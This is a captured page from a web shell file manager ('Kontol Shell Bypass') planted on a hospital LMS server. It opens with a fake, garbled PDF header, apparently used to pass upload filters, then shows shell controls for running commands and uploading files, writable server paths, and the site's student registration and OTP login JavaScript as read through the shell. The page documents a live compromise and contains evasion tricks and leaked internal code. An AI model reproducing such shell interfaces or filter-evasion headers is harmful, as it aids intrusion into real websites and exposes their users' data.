%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/lms/lms/student-panel/app-js/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/lms/lms/student-panel/app-js/reg.js
/** Reg Controller **/
MetronicApp.controller("Reg", function($scope, $rootScope, $http, $state, $timeout, Auth){
    var CR=this;
    CR.regData={};

    CR.getPrograms=function(ac_id){
		CR.regData.program_id='';
        CR.plans=[];
		CR.regData.plan_id='';
		
		CR.programs=[];
		$.each(CR.courses, function(k,v){
			if(v.ac_id==ac_id){
				CR.programs.push({id:v.id, title:v.title});
			}
		});
    }
    
    CR.getPlans=function(program_id){
		CR.regData.plan_id='';
		
		CR.plans=[];
		$.each(CR.allPlans, function(k,v){
			if(v.program_id==program_id){
				CR.plans.push({id:v.id, title:v.title});
			}
		});
	}
	
	CR.set_ac_id_program_id=function(plan_id){
		
		CR.regData.ac_id='';
		CR.regData.program_id='';
		CR.allPlans.forEach(function(v){
			if(v.id==plan_id){
				CR.regData.ac_id=v.ac_id;
				CR.regData.program_id=v.program_id;
			}
		});
	}
	
	CR.encOtpMob='';
	CR.encOtpEmail='';
    CR.sendRegOtp=function(){
		var qs=urlQueryString();
		CR.regData.lpage=landingPage();
		if($('[name="ac_id"]').length==0){
			CR.regData.only_plan_form='T';
		}
		
		var formData=new FormData();
		$.each(CR.regData, function(k, v){
			formData.append(k, v);
		});

        show_loader();
		$http({url:API_URL+'common/sendRegOtp?'+qs, method:'POST', data:formData, headers:{'Content-Type': undefined}}).success(
			function(res) {
				if(res.success=='T'){
					CR.gotOtp=true;
					//CR.encOtpMob=res.encOtpMob;
					CR.encOtpEmail=res.encOtpEmail;
					show_alert_msg(res.msg);
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
    }
    
    CR.register=function(){
		CR.regData.lpage=landingPage();
		var qs=urlQueryString();
		
		show_loader();
		//CR.regData.encOtpMob=CR.encOtpMob;
		CR.regData.encOtpEmail=CR.encOtpEmail;

		if($('[name="ac_id"]').length==0){
			CR.regData.only_plan_form='T';
		}
		if($('[name="neet_roll_no"]').length==1){
			CR.regData.is_medical='T';
		}

		var formData=new FormData();
		$.each(CR.regData, function(k, v){
			formData.append(k, v);
		});

		let newsletter_subscribed=$('[name="name"]').closest("form").find('[type="checkbox"]').prop('checked');
		formData.append('newsletter_subscribed', newsletter_subscribed?'Y':'N');

		if($("#neet_scorecard_file").val()){
			formData.append('neet_scorecard_file', document.getElementById('neet_scorecard_file').files[0]);
		}

		$http({url:API_URL+'common/register?'+qs, method:'POST', data:formData, headers:{'Content-Type': undefined}}).success(
			function(res) {
				if(res.success=='T'){
					$scope.$parent.set_user_data(res);
					show_alert_msg(res.msg);
					if(res.is_phd){
						redirect(landingPage(true)+'/dashboard/phd-registration');
						return;
					}
                    if(res.payTMUrl){
                        //redirect(res.payTMUrl);
                        redirect(landingPage(true)+'/dashboard/pre-registration');
                    }else{
                        redirect(landingPage(true)+'/dashboard/registration');
                    }
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}

	/** Login */
    CR.requestOtp=function(){
		var qs=urlQueryString();
        show_loader();
		$http({url:API_URL+'auth/requestOtp', method:'POST', data:{email:CR.loginEMAIL}}).success(
			function(res) {
				if(res.success=='T'){
					CR.gotLoginOtp=true;
					CR.encOtpEmail=res.encOtpEmail;
					show_alert_msg(res.msg);
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.login=function(){
		var lpage=landingPage(true);
		var qs=urlQueryString();

		show_loader();
		$http({url:API_URL+'auth/login?'+qs, method:'POST', data:{email:CR.loginEMAIL, otp:CR.loginOTP, lpage:lpage, encOtpEmail:CR.encOtpEmail}}).success(
			function(res) {
				hide_loader();
				if(res.success=='T'){
					$scope.$parent.set_user_data(res);
					/*if(res.dtl.lpage && res.dtl.lpage.indexOf("admissions.sharda.ac.in")>=0 && landingPage(true).indexOf("admissions.sharda.ac.in")>=0){
						redirect(res.dtl.lpage+'/dashboard');
					}else{*/
						redirect(landingPage(true)+'/dashboard');
					//}
				}else{
					if(res.msg){
						show_alert_msg(res.msg, 'E');
					}
				}
			}
		).error(function(res){showHttpErr(res);});
	}
	/** \Login */
	
	CR.getDetails=function(){
		var qs=urlQueryString();
		var frm=$("#loginform");
		hide_form_errors(frm);
		show_loader();
		$http({url:API_URL+'common/getDetails?'+qs, method:'POST', data:frm.serialize()+'&lpage='+landingPage(true)}).success(
			function(res) {
				hide_loader();
				if(res.success=='T'){
					$scope.$parent.set_user_data(res);
					redirect(landingPage(true)+'/dashboard');
				}else{
					if(res.msg){
						show_alert_msg(res.msg, 'E');
					}
					show_form_errors(res.errors, frm);
				}
			}
		).error(function(res){showHttpErr(res);});
	}

	CR.get_course_details = function(prog_id){
		CR.course_overview='';
        CR.course_eligibility='';
		$.each(CR.courses, function (k, v) {
            if(v.id==prog_id){
                CR.course_overview=v.highlights;
                CR.course_eligibility=v.eligibility;
            }
		});
		
		$timeout(function(){
			//wrapper.find(".tab-toggle.active").click();
		});
    }
    
    CR.campusChange=()=>{
        CR.regData.discipline_id='';
        CR.regData.program_id='';
        CR.regData.plan_id='';
    }

	/** */
	CR.getDisciplineFirstCourse=(id, defBtech)=>{
		let flg=0;
		if(defBtech===true){
			$.each(CR.courses, function (k, v){
				if(v.id=='184'){
					CR.courseDetail(v.id);
					flg=1;
					return false;
				}
			});
		}

		if(!flg){
			$.each(CR.courses, function (k, v){
				if(v.discipline_id==id){
					CR.courseDetail(v.id);
					return false;
				}
			});
		}
	}

	CR.courseDetail=function(prog_id){
		CR.pdtl={};
		$.each(CR.courses, function (k, v) {
            if(v.id==prog_id){
				var owl=$('.owl-carousel_one');
				try{
					owl.owlCarousel('destroy');
				}catch(e){console.log(e)}

				set_datepicker();
				
				CR.pdtl.course_id=v.id;
				CR.pdtl.discipline_id=v.discipline_id;
				CR.pdtl.title=v.title;
				CR.pdtl.program_duration=v.program_duration;
				CR.pdtl.ac=v.ac;
				CR.pdtl.school_id=v.school_id;
				CR.pdtl.school=v.school;
				CR.pdtl.established_in=v.established_in;
				CR.pdtl.school_subtitle=v.school_subtitle;

				CR.pdtl.highlights=v.highlights;
                CR.pdtl.eligibility=v.eligibility;
				CR.pdtl.scholarship=v.scholarship;
                CR.pdtl.career_path=v.career_path;
                CR.pdtl.program_fee_dtl=v.program_fee_dtl;
                CR.pdtl.financial_assistance=v.financial_assistance;
                CR.pdtl.adm_through=v.adm_through;

				CR.pdtl.accreditations=[];
				CR.accreditations.forEach(a=>{
					if(CR.pdtl.school_id==a.school_id){
						CR.pdtl.accreditations.push({title:a.title, description:a.description, image_url:a.image_url});
					}
				});

				CR.pdtl.dean_messages=[];
				CR.dean_messages.forEach(a=>{
					if(CR.pdtl.school_id==a.school_id){
						CR.pdtl.dean_messages.push({title:a.title, description:a.description, image_url:a.image_url});
					}
				});

				$timeout(()=>{
					owlCarouselOne();
					setTimeout(()=>{
						
					}, 5000);
				});
            }
		});
    }
    
    
    /** Init */
	CR.init=function(){
		CR.pdtl={};

        var lpage=landingPage();
		show_loader();
		$http({url: API_URL+'common/initMasterData', method:'POST', data:{lpage:lpage}}).success(
			function(res){
                CR.countrys=res.countrys;
                CR.states=res.states;
                CR.cities=res.cities;
                CR.academicCareers=res.academicCareers;
                CR.referredBy=res.referredBy;
                CR.faqs=res.faqs;
				
				CR.courses=res.courses;
				CR.accreditations=res.accreditations;
				CR.dean_messages=res.dean_messages;


				CR.allPlans=res.allPlans;
                CR.disciplines=res.disciplines;
                CR.campuses=res.campuses;

                CR.show_apply_before=res.show_apply_before;
                CR.abDtl=res.applyBeforeDetail;

                if(CR.show_apply_before){
                    $('#spopup').show();
                    if(CR.abDtl.apply_before_image_url){
                        $('#spopup #slideshow img').attr('src', CR.abDtl.apply_before_image_url);
                    }

                    $(".app_before .before").html('<strong>'+CR.abDtl.apply_before_line1+'</strong>');
                    $(".app_before .before2").html('<strong>'+CR.abDtl.apply_before_line2+'</strong>'+'<p>'+CR.abDtl.apply_before_line3+'</p>');

                }else{
                    $('#spopup').hide();
                }

				if(CR.academicCareers.length==1){
					CR.regData.ac_id=CR.academicCareers[0].id;
					CR.getPrograms(CR.regData.ac_id);
				}

                if(CR.courses.length){
				    CR.elig_course_id=CR.courses[0].id;
                    CR.get_course_details(CR.elig_course_id);
                }

				/** */
				let disp_id=CR.disciplines[0].id;
				let defBtech=false;
				CR.disciplines.forEach(v=>{
					if(v.id=='11'){
						disp_id=v.id;
						defBtech=true;
					}
				})
				CR.getDisciplineFirstCourse(disp_id, defBtech);
			}
		).error(function(res){showHttpErr(res);});
	}
	CR.init();
});

/** */
function owlCarouselOne(){
	var owl=$('.owl-carousel_one');
	owl.owlCarousel({
	  margin: 10,
	  nav: true,
	  loop: true,
	  responsive: {
		0: {
		  items: 1
		},
		600: {
		  items: 1
		},
		1000: {
		  items: 1
		}
	  }
	});
}

//EOF

Kontol Shell Bypass